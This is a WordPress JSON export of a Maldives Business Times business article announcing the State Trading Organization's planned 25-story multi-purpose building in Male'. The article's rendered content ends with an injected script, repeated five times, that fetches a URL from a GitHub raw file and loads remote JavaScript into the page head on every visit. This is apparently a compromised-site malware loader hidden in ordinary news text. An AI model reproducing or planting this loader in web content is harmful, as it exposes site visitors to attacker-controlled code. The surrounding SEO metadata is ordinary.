{"id":10079,"date":"2024-08-07T20:15:09","date_gmt":"2024-08-07T15:15:09","guid":{"rendered":"https:\/\/mbt.mv\/?p=10079"},"modified":"2024-08-07T20:15:09","modified_gmt":"2024-08-07T15:15:09","slug":"sto-announces-plans-to-develop-25-story-new-multi-purpose-building","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=10079","title":{"rendered":"STO announces plans to develop 25-story new multi-purpose building"},"content":{"rendered":"<p>The State Trading Organization (STO), has announced plans to develop a new 25-story multi-purpose building.<\/p>\n<p>The project, reportedly worth MVR 18 million, will feature various facilities and spacious working spaces for STO employees.<\/p>\n<p>STO on Tuesday announced that interested parties can now submit their expression of interest (EOI) for the project, with the deadline on this on August 13, 2024.<\/p>\n<p>This will be an engineering, procurement, and construction (EPC) model project with a contractor-financing approach. STO will be injecting 15% equity for the project.<\/p>\n<p>The new building will be situated next to the STO head office in Male&#8217; City and developed on a 1,393-square-meter plot.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The State Trading Organization (STO), has announced plans to develop a new 25-story multi-purpose building. The project, reportedly worth MVR 18 million, will feature various facilities and spacious working spaces for STO employees. STO on Tuesday announced that interested parties can now submit their expression of interest (EOI) for the project, with the deadline on<\/p>\n","protected":false},"author":4,"featured_media":10080,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423],"tags":[],"class_list":{"0":"post-10079","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>STO announces plans to develop 25-story new multi-purpose building - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=10079\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"STO announces plans to develop 25-story new multi-purpose building - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The State Trading Organization (STO), has announced plans to develop a new 25-story multi-purpose building. The project, reportedly worth MVR 18 million, will feature various facilities and spacious working spaces for STO employees. STO on Tuesday announced that interested parties can now submit their expression of interest (EOI) for the project, with the deadline on\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=10079\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-08-07T15:15:09+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=10079#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=10079\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"STO announces plans to develop 25-story new multi-purpose building\",\"datePublished\":\"2024-08-07T15:15:09+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=10079\"},\"wordCount\":110,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=10079#primaryimage\"},\"thumbnailUrl\":\"\",\"articleSection\":[\"BUSINESS\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=10079#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=10079\",\"url\":\"https:\/\/mbt.mv\/?p=10079\",\"name\":\"STO announces plans to develop 25-story new multi-purpose building - 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